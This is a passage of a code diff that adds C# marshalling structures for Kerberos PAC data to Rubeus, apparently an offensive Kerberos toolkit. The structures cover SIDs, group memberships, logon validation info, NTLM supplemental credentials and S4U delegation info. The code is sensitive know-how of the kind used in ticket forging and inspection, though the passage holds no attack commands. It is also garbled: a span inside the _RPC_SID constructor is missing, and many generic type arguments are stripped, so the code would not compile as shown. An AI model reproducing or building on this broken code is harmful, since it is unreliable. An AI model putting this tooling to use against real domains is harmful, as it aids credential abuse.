_KERB_SID_AND_ATTRIBUTES[] ExtraSids, int DomainGroupCount, DOMAIN_GROUP_MEMBERSHIP[] DomainGroup) { + this.UserId = UserId; + this.PrimaryGroupId = PrimaryGroupId; + this.AccountDomainId = AccountDomainId; + this.AccountGroupCount = AccountGroupCount; + this.AccountGroupIds = AccountGroupIds; + this.SidCount = SidCount; + this.ExtraSids = ExtraSids; + this.DomainGroupCount = DomainGroupCount; + this.DomainGroup = DomainGroup; + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct _RPC_SID : Rubeus.Ndr.Marshal.INdrConformantStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteSByte(Revision); + m.WriteSByte(SubAuthorityCount); + m.Write_2(IdentifierAuthority); + m.Write_22(Rubeus.Win32.Rpc.RpcUtils.CheckNull(SubAuthority, "SubAuthority"), SubAuthorityCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Revision = u.ReadSByte(); + SubAuthorityCount = u.ReadSByte(); + IdentifierAuthority = u.Read_2(); + SubAuthority = u.Read_22(); + } + int Rubeus.Ndr.Marshal.INdrConformantStructure.GetConformantDimensions() { + return 1; + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public sbyte Revision; + public sbyte SubAuthorityCount; + public _RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + public int[] SubAuthority; + public static _RPC_SID CreateDefault() { + _RPC_SID ret = new _RPC_SID(); + ret.SubAuthority = new int[0]; + return ret; + } + public _RPC_SID(sbyte Revision, sbyte SubAuthorityCount, _RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority, int[] SubAuthority) { + this.Revision = Revision; + this.SubAuthorityCount = SubAuthorityCount; + this.IdentifierAuthority = IdentifierAuthority; + this.SubAuthority = SubAuthority; + } + + public _RPC_SID(SecurityIdentifier sid) { + byte[] binarySid = new byte[sid.BinaryLength]; + sid.GetBinaryForm(binarySid, 0); + BinaryReader br = new BinaryReader(new MemoryStream(binarySid)); + + Revision = br.ReadSByte(); + SubAuthorityCount = br.ReadSByte(); + IdentifierAuthority.Value = br.ReadBytes(6); + SubAuthority = new int[SubAuthorityCount]; + for(int idx=0; idx> 32) & 0xffffffff); + } + + public override string ToString() { + if (LowDateTime != 0xffffffff && HighDateTime != 0x7fffffff) { + return DateTime.FromFileTimeUtc((long)LowDateTime | ((long)HighDateTime << 32)).ToString("dd/MM/yyyy HH:mm:ss.fff"); + } else { + return ""; + } + } + } + + public struct _GROUP_MEMBERSHIP : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(RelativeId); + m.WriteInt32(Attributes); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + RelativeId = u.ReadInt32(); + Attributes = u.ReadInt32(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int RelativeId; + public int Attributes; + public static _GROUP_MEMBERSHIP CreateDefault() { + return new _GROUP_MEMBERSHIP(); + } + public _GROUP_MEMBERSHIP(int RelativeId, int Attributes) { + this.RelativeId = RelativeId; + this.Attributes = Attributes; + } + } + public struct _KERB_SID_AND_ATTRIBUTES : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteEmbeddedPointer<_RPC_SID>(Sid, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(Attributes); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Sid = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + Attributes = u.ReadInt32(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> Sid; + public int Attributes; + public static _KERB_SID_AND_ATTRIBUTES CreateDefault() { + return new _KERB_SID_AND_ATTRIBUTES(); + } + public _KERB_SID_AND_ATTRIBUTES(System.Nullable<_RPC_SID> Sid, int Attributes) { + this.Sid = Sid; + this.Attributes = Attributes; + } + } + public struct DOMAIN_GROUP_MEMBERSHIP : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteEmbeddedPointer<_RPC_SID>(DomainId, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(GroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(GroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_24), GroupCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + DomainId = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + GroupCount = u.ReadInt32(); + GroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_24), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> DomainId; + public int GroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> GroupIds; + public static DOMAIN_GROUP_MEMBERSHIP CreateDefault() { + return new DOMAIN_GROUP_MEMBERSHIP(); + } + public DOMAIN_GROUP_MEMBERSHIP(System.Nullable<_RPC_SID> DomainId, int GroupCount, _GROUP_MEMBERSHIP[] GroupIds) { + this.DomainId = DomainId; + this.GroupCount = GroupCount; + this.GroupIds = GroupIds; + } + } + public struct _PAC_DEVICE_CLAIMS_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteEmbeddedPointer<_CLAIMS_SET_METADATA>(Claims, new System.Action<_CLAIMS_SET_METADATA>(m.Write_7)); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Claims = u.ReadEmbeddedPointer<_CLAIMS_SET_METADATA>(new System.Func<_CLAIMS_SET_METADATA>(u.Read_7), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_CLAIMS_SET_METADATA> Claims; + public static _PAC_DEVICE_CLAIMS_INFO CreateDefault() { + return new _PAC_DEVICE_CLAIMS_INFO(); + } + public _PAC_DEVICE_CLAIMS_INFO(System.Nullable<_CLAIMS_SET_METADATA> Claims) { + this.Claims = Claims; + } + } + public struct _CLAIMS_SET_METADATA : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(ulClaimsSetSize); + m.WriteEmbeddedPointer(ClaimsSet, new System.Action(m.Write_25), ulClaimsSetSize); + m.WriteEnum16(usCompressionFormat); + m.WriteInt32(ulUncompressedClaimsSetSize); + m.WriteInt16(usReservedType); + m.WriteInt32(ulReservedFieldSize); + m.WriteEmbeddedPointer(ReservedField, new System.Action(m.Write_26), ulReservedFieldSize); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + ulClaimsSetSize = u.ReadInt32(); + ClaimsSet = u.ReadEmbeddedPointer(new System.Func(u.Read_25), false); + usCompressionFormat = u.ReadEnum16(); + ulUncompressedClaimsSetSize = u.ReadInt32(); + usReservedType = u.ReadInt16(); + ulReservedFieldSize = u.ReadInt32(); + ReservedField = u.ReadEmbeddedPointer(new System.Func(u.Read_26), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int ulClaimsSetSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer ClaimsSet; + public Rubeus.Ndr.Marshal.NdrEnum16 usCompressionFormat; + public int ulUncompressedClaimsSetSize; + public short usReservedType; + public int ulReservedFieldSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer ReservedField; + public static _CLAIMS_SET_METADATA CreateDefault() { + return new _CLAIMS_SET_METADATA(); + } + public _CLAIMS_SET_METADATA(int ulClaimsSetSize, byte[] ClaimsSet, Rubeus.Ndr.Marshal.NdrEnum16 usCompressionFormat, int ulUncompressedClaimsSetSize, short usReservedType, int ulReservedFieldSize, byte[] ReservedField) { + this.ulClaimsSetSize = ulClaimsSetSize; + this.ClaimsSet = ClaimsSet; + this.usCompressionFormat = usCompressionFormat; + this.ulUncompressedClaimsSetSize = ulUncompressedClaimsSetSize; + this.usReservedType = usReservedType; + this.ulReservedFieldSize = ulReservedFieldSize; + this.ReservedField = ReservedField; + } + } + public struct _UPN_DNS_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt16(UpnLength); + m.WriteInt16(UpnOffset); + m.WriteInt16(DnsDomainNameLength); + m.WriteInt16(DnsDomainNameOffset); + m.WriteInt32(Flags); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + UpnLength = u.ReadInt16(); + UpnOffset = u.ReadInt16(); + DnsDomainNameLength = u.ReadInt16(); + DnsDomainNameOffset = u.ReadInt16(); + Flags = u.ReadInt32(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public short UpnLength; + public short UpnOffset; + public short DnsDomainNameLength; + public short DnsDomainNameOffset; + public int Flags; + public static _UPN_DNS_INFO CreateDefault() { + return new _UPN_DNS_INFO(); + } + public _UPN_DNS_INFO(short UpnLength, short UpnOffset, short DnsDomainNameLength, short DnsDomainNameOffset, int Flags) { + this.UpnLength = UpnLength; + this.UpnOffset = UpnOffset; + this.DnsDomainNameLength = DnsDomainNameLength; + this.DnsDomainNameOffset = DnsDomainNameOffset; + this.Flags = Flags; + } + } + public struct _KERB_VALIDATION_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_40(LogonTime); + m.Write_40(LogoffTime); + m.Write_40(KickOffTime); + m.Write_40(PasswordLastSet); + m.Write_40(PasswordCanChange); + m.Write_40(PasswordMustChange); + m.Write_10(EffectiveName); + m.Write_10(FullName); + m.Write_10(LogonScript); + m.Write_10(ProfilePath); + m.Write_10(HomeDirectory); + m.Write_10(HomeDirectoryDrive); + m.WriteInt16(LogonCount); + m.WriteInt16(BadPasswordCount); + m.WriteInt32(UserId); + m.WriteInt32(PrimaryGroupId); + m.WriteInt32(GroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(GroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_27), GroupCount); + m.WriteInt32(UserFlags); + m.Write_11(UserSessionKey); + m.Write_10(LogonServer); + m.Write_10(LogonDomainName); + m.WriteEmbeddedPointer<_RPC_SID>(LogonDomainId, new System.Action<_RPC_SID>(m.Write_1)); + m.Write_28(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Reserved1, "Reserved1")); + m.WriteInt32(UserAccountControl); + m.Write_29(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Reserved3, "Reserved3")); + m.WriteInt32(SidCount); + m.WriteEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[], long>(ExtraSids, new System.Action<_KERB_SID_AND_ATTRIBUTES[], long>(m.Write_30), SidCount); + m.WriteEmbeddedPointer<_RPC_SID>(ResourceGroupDomainSid, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(ResourceGroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(ResourceGroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_31), ResourceGroupCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + LogonTime = u.Read_40(); + LogoffTime = u.Read_40(); + KickOffTime = u.Read_40(); + PasswordLastSet = u.Read_40(); + PasswordCanChange = u.Read_40(); + PasswordMustChange = u.Read_40(); + EffectiveName = u.Read_10(); + FullName = u.Read_10(); + LogonScript = u.Read_10(); + ProfilePath = u.Read_10(); + HomeDirectory = u.Read_10(); + HomeDirectoryDrive = u.Read_10(); + LogonCount = u.ReadInt16(); + BadPasswordCount = u.ReadInt16(); + UserId = u.ReadInt32(); + PrimaryGroupId = u.ReadInt32(); + GroupCount = u.ReadInt32(); + GroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_27), false); + UserFlags = u.ReadInt32(); + UserSessionKey = u.Read_11(); + LogonServer = u.Read_10(); + LogonDomainName = u.Read_10(); + LogonDomainId = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + Reserved1 = u.Read_28(); + UserAccountControl = u.ReadInt32(); + Reserved3 = u.Read_29(); + SidCount = u.ReadInt32(); + ExtraSids = u.ReadEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]>(new System.Func<_KERB_SID_AND_ATTRIBUTES[]>(u.Read_30), false); + ResourceGroupDomainSid = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + ResourceGroupCount = u.ReadInt32(); + ResourceGroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_31), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _FILETIME LogonTime; + public _FILETIME LogoffTime; + public _FILETIME KickOffTime; + public _FILETIME PasswordLastSet; + public _FILETIME PasswordCanChange; + public _FILETIME PasswordMustChange; + public _RPC_UNICODE_STRING EffectiveName; + public _RPC_UNICODE_STRING FullName; + public _RPC_UNICODE_STRING LogonScript; + public _RPC_UNICODE_STRING ProfilePath; + public _RPC_UNICODE_STRING HomeDirectory; + public _RPC_UNICODE_STRING HomeDirectoryDrive; + public short LogonCount; + public short BadPasswordCount; + public int UserId; + public int PrimaryGroupId; + public int GroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> GroupIds; + public int UserFlags; + public _USER_SESSION_KEY UserSessionKey; + public _RPC_UNICODE_STRING LogonServer; + public _RPC_UNICODE_STRING LogonDomainName; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> LogonDomainId; + public int[] Reserved1; + public int UserAccountControl; + public int[] Reserved3; + public int SidCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]> ExtraSids; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> ResourceGroupDomainSid; + public int ResourceGroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> ResourceGroupIds; + public static _KERB_VALIDATION_INFO CreateDefault() { + _KERB_VALIDATION_INFO ret = new _KERB_VALIDATION_INFO(); + ret.Reserved1 = new int[2]; + ret.Reserved3 = new int[7]; + return ret; + } + public _KERB_VALIDATION_INFO( + _FILETIME LogonTime, + _FILETIME LogoffTime, + _FILETIME KickOffTime, + _FILETIME PasswordLastSet, + _FILETIME PasswordCanChange, + _FILETIME PasswordMustChange, + _RPC_UNICODE_STRING EffectiveName, + _RPC_UNICODE_STRING FullName, + _RPC_UNICODE_STRING LogonScript, + _RPC_UNICODE_STRING ProfilePath, + _RPC_UNICODE_STRING HomeDirectory, + _RPC_UNICODE_STRING HomeDirectoryDrive, + short LogonCount, + short BadPasswordCount, + int UserId, + int PrimaryGroupId, + int GroupCount, + _GROUP_MEMBERSHIP[] GroupIds, + int UserFlags, + _USER_SESSION_KEY UserSessionKey, + _RPC_UNICODE_STRING LogonServer, + _RPC_UNICODE_STRING LogonDomainName, + System.Nullable<_RPC_SID> LogonDomainId, + int[] Reserved1, + int UserAccountControl, + int[] Reserved3, + int SidCount, + _KERB_SID_AND_ATTRIBUTES[] ExtraSids, + System.Nullable<_RPC_SID> ResourceGroupDomainSid, + int ResourceGroupCount, + _GROUP_MEMBERSHIP[] ResourceGroupIds) { + this.LogonTime = LogonTime; + this.LogoffTime = LogoffTime; + this.KickOffTime = KickOffTime; + this.PasswordLastSet = PasswordLastSet; + this.PasswordCanChange = PasswordCanChange; + this.PasswordMustChange = PasswordMustChange; + this.EffectiveName = EffectiveName; + this.FullName = FullName; + this.LogonScript = LogonScript; + this.ProfilePath = ProfilePath; + this.HomeDirectory = HomeDirectory; + this.HomeDirectoryDrive = HomeDirectoryDrive; + this.LogonCount = LogonCount; + this.BadPasswordCount = BadPasswordCount; + this.UserId = UserId; + this.PrimaryGroupId = PrimaryGroupId; + this.GroupCount = GroupCount; + this.GroupIds = GroupIds; + this.UserFlags = UserFlags; + this.UserSessionKey = UserSessionKey; + this.LogonServer = LogonServer; + this.LogonDomainName = LogonDomainName; + this.LogonDomainId = LogonDomainId; + this.Reserved1 = Reserved1; + this.UserAccountControl = UserAccountControl; + this.Reserved3 = Reserved3; + this.SidCount = SidCount; + this.ExtraSids = ExtraSids; + this.ResourceGroupDomainSid = ResourceGroupDomainSid; + this.ResourceGroupCount = ResourceGroupCount; + this.ResourceGroupIds = ResourceGroupIds; + } + } + + public struct _RPC_UNICODE_STRING : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt16(Length); + m.WriteInt16(MaximumLength); + m.WriteEmbeddedPointer(Buffer, new System.Action(m.Write_32), (MaximumLength / 2), (Length / 2)); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Length = u.ReadInt16(); + MaximumLength = u.ReadInt16(); + Buffer = u.ReadEmbeddedPointer(new System.Func(u.Read_32), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public short Length; + public short MaximumLength; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer Buffer; + public static _RPC_UNICODE_STRING CreateDefault() { + return new _RPC_UNICODE_STRING(); + } + public _RPC_UNICODE_STRING(short Length, short MaximumLength, char[] Buffer) { + this.Length = Length; + this.MaximumLength = MaximumLength; + this.Buffer = Buffer; + } + + public _RPC_UNICODE_STRING(string value) { + this.Length = (short)(value.Length * 2); + if (value.Length > 0) + { + this.MaximumLength = (short)(this.Length + 2); + value = value + '\0'; + } + else + { + this.MaximumLength = this.Length; + } + this.Buffer = value.ToCharArray(); + } + + public override string ToString() { + if(Buffer != null && Buffer.GetValue() != null) { + return new string(Buffer.GetValue(), 0, Length/2); + } else { + return null; + } + } + } + public struct _USER_SESSION_KEY : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_33(Rubeus.Win32.Rpc.RpcUtils.CheckNull(data, "data")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + data = u.Read_33(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 1; + } + public _CYPHER_BLOCK[] data; + public static _USER_SESSION_KEY CreateDefault() { + _USER_SESSION_KEY ret = new _USER_SESSION_KEY(); + ret.data = new _CYPHER_BLOCK[2]; + ret.data[0].data = new sbyte[8] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + ret.data[1].data = new sbyte[8] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + return ret; + } + public _USER_SESSION_KEY(_CYPHER_BLOCK[] data) { + this.data = data; + } + } + public struct _CYPHER_BLOCK : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_34(Rubeus.Win32.Rpc.RpcUtils.CheckNull(data, "data")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + data = u.Read_34(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 1; + } + public sbyte[] data; + public static _CYPHER_BLOCK CreateDefault() { + _CYPHER_BLOCK ret = new _CYPHER_BLOCK(); + ret.data = new sbyte[8]; + return ret; + } + public _CYPHER_BLOCK(sbyte[] data) { + this.data = data; + } + } + public struct _PAC_INFO_BUFFER : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(ulType); + m.WriteInt32(cbBufferSize); + m.WriteInt64(Offset); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + ulType = u.ReadInt32(); + cbBufferSize = u.ReadInt32(); + Offset = u.ReadInt64(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 8; + } + public int ulType; + public int cbBufferSize; + public long Offset; + public static _PAC_INFO_BUFFER CreateDefault() { + return new _PAC_INFO_BUFFER(); + } + public _PAC_INFO_BUFFER(int ulType, int cbBufferSize, long Offset) { + this.ulType = ulType; + this.cbBufferSize = cbBufferSize; + this.Offset = Offset; + } + } + public struct _NTLM_SUPPLEMENTAL_CREDENTIAL : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(Version); + m.WriteInt32(Flags); + m.Write_35(Rubeus.Win32.Rpc.RpcUtils.CheckNull(LmPassword, "LmPassword")); + m.Write_35(Rubeus.Win32.Rpc.RpcUtils.CheckNull(NtPassword, "NtPassword")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Version = u.ReadInt32(); + Flags = u.ReadInt32(); + LmPassword = u.Read_35(); + NtPassword = u.Read_35(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int Version; + public int Flags; + public sbyte[] LmPassword; + public sbyte[] NtPassword; + public static _NTLM_SUPPLEMENTAL_CREDENTIAL CreateDefault() { + _NTLM_SUPPLEMENTAL_CREDENTIAL ret = new _NTLM_SUPPLEMENTAL_CREDENTIAL(); + ret.LmPassword = new sbyte[16]; + ret.NtPassword = new sbyte[16]; + return ret; + } + public _NTLM_SUPPLEMENTAL_CREDENTIAL(int Version, int Flags, sbyte[] LmPassword, sbyte[] NtPassword) { + this.Version = Version; + this.Flags = Flags; + this.LmPassword = LmPassword; + this.NtPassword = NtPassword; + } + } + public struct _PAC_CLIENT_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_3(ClientId); + m.WriteInt16(NameLength); + m.Write_36(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Name, "Name")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + ClientId = u.Read_3(); + NameLength = u.ReadInt16(); + Name = u.Read_36(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _GROUP_MEMBERSHIP ClientId; + public short NameLength; + public string Name; + public static _PAC_CLIENT_INFO CreateDefault() { + _PAC_CLIENT_INFO ret = new _PAC_CLIENT_INFO(); + ret.Name = new string('\0', 1); + return ret; + } + public _PAC_CLIENT_INFO(_GROUP_MEMBERSHIP ClientId, short NameLength, string Name) { + this.ClientId = ClientId; + this.NameLength = NameLength; + this.Name = Name; + } + } + public struct _S4U_DELEGATION_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_10(S4U2proxyTarget); + m.WriteInt32(TransitedListSize); + m.WriteEmbeddedPointer<_RPC_UNICODE_STRING[], long>(S4UTransitedServices, new System.Action<_RPC_UNICODE_STRING[], long>(m.Write_37), TransitedListSize); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + S4U2proxyTarget = u.Read_10(); + TransitedListSize = u.ReadInt32(); + S4UTransitedServices = u.ReadEmbeddedPointer<_RPC_UNICODE_STRING[]>(new System.Func<_RPC_UNICODE_STRING[]>(u.Read_37), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _RPC_UNICODE_STRING S4U2proxyTarget; + public int TransitedListSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_UNICODE_STRING[]> S4UTransitedServices; + public static _S4U_DELEGATION_INFO CreateDefault() { + return new _S4U_DELEGATION_INFO(); + } + public _S4U_DELEGATION_INFO(_RPC_UNICODE_STRING S4U2proxyTarget, int TransitedListSize, _RPC_UNICODE_STRING[] S4UTransitedServices) { + this.S4U2proxyTarget = S4U2proxyTarget; + this.TransitedListSize = TransitedListSize; + this.S4UTransitedServices = S4UTransitedServices; + } + } + public struct _PAC_CREDENTIAL_DATA : Rubeus.Ndr.Marshal.INdrConformantStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(CredentialCount); + m.Write_38(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Credentials, "Credentials"), CredentialCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + CredentialCount = u.ReadInt32(); + Credentials = u.Read_38(); + } + int 